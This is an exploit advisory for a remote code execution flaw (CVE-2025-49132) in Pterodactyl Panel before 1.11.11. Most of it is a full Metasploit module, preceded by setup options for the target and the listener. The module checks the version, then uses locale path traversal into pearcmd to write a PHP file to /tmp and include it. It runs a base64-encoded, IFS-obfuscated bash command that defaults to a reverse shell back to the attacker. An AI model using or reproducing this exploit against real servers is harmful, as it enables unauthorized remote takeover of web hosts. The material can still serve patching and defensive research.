============================================================================================================================================= | # Title : Pterodactyl Panel < 1.11.11 Remote Code Execution Vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) | | # Vendor : https://pterodactyl.io/ | ============================================================================================================================================= [+] Summary : A Remote Code Execution (RCE) vulnerability exists in versions of Pterodactyl Panel prior to 1.11.11. The issue allows an attacker to abuse the locale functionality to write a malicious PHP file to the server and subsequently execute arbitrary system commands. Successful exploitation may lead to remote shell access under the privileges of the web server user. [+] POC : set RHOSTS target.com set RPORT 80 set TARGETURI / set LHOST your_ip set LPORT your_port ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'base64' require 'json' require 'rubygems' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Pterodactyl Panel < 1.11.11 Remote Code Execution', 'Description' => %q{ This module exploits a Remote Code Execution vulnerability in Pterodactyl Panel versions before 1.11.11. The vulnerability allows an attacker to write a malicious PHP file via the locale functionality and then execute it to gain a reverse shell. }, 'Author' => [ 'pwndalf', 'indoushka' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-49132'], ['URL', 'https://github.com/pwndalf/CVE-2025-49132-PoC'] ], 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2025-10-15', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl Panel', '/']), OptString.new('PEAR_PATH', [true, 'Path to the PHP PEAR library', '/usr/share/php/PEAR/']), OptString.new('TMP_FILE', [true, 'Temporary file name for payload', 'payload.php']) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'version') }) unless res return CheckCode::Unknown('Connection failed') end if res.code == 200 && res.body version = extract_version(res.body) if version vprint_status("Detected Pterodactyl version: #{version}") begin current_version = Gem::Version.new(version) vulnerable_version = Gem::Version.new('1.11.11') if current_version < vulnerable_version return CheckCode::Appears("Vulnerable version detected: #{version}") else return CheckCode::Safe("Patched version detected: #{version}") end rescue ArgumentError => e vprint_error("Invalid version format: #{e.message}") return CheckCode::Unknown('Invalid version format') end end end locale_res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json') }) if locale_res && locale_res.code == 200 return CheckCode::Detected('Pterodactyl panel detected, but version could not be confirmed') end CheckCode::Safe('Target does not appear to be running Pterodactyl panel') rescue ::Rex::ConnectionError CheckCode::Unknown('Connection failed') end def extract_version(body) json_data = JSON.parse(body) rescue nil if json_data.is_a?(Hash) && json_data['version'] return json_data['version'] end if body =~ /]*name="version"[^>]*content="([^"]+)"[^>]*>/i return $1 end if body =~ /Pterodactyl[^<]*v?(\d+\.\d+\.\d+)/i return $1 end nil end def execute_command(cmd) encoded_cmd = Base64.strict_encode64(cmd) payload_cmd = "echo${IFS}#{encoded_cmd}${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash" write_uri = normalize_uri(target_uri.path, 'locales', 'locale.json') php_payload = "" print_status("Attempting to write payload to #{datastore['TMP_FILE']}") write_res = send_request_cgi({ 'method' => 'GET', 'uri' => write_uri, 'vars_get' => { '+config-create+' => '', 'locale' => "../../../../..#{datastore['PEAR_PATH']}", 'namespace' => 'pearcmd', '/' => php_payload + " /tmp/#{datastore['TMP_FILE']}" } }, 10) unless write_res && write_res.code == 200 fail_with(Failure::NotVulnerable, 'Failed to write payload') end print_good("Payload written successfully") trigger_uri = normalize_uri(target_uri.path, 'locales', 'locale.json') print_status("Triggering payload...") begin send_request_cgi({ 'method' => 'GET', 'uri' => trigger_uri, 'vars_get' => { 'locale' => '../../../../../../tmp', 'namespace' => 'payload' } }, 5) rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout vprint_status('Trigger request completed (expected timeout/error)') end print_status('Payload triggered. Check your listener for incoming connection.') rescue ::Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) end def exploit if payload.nil? || !payload.respond_to?(:encoded) || payload.encoded.to_s.empty? fail_with(Failure::BadConfig, 'No valid payload selected or payload is empty') end unless target['Type'] == :unix_cmd && Array(target.arch).include?(ARCH_CMD) fail_with(Failure::BadConfig, 'Target is not compatible with command payload') end print_status("Exploiting #{datastore['RHOSTS']}:#{datastore['RPORT']}") command = payload.encoded execute_command(command) handler end end Greetings to :====================================================================== jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)| ====================================================================================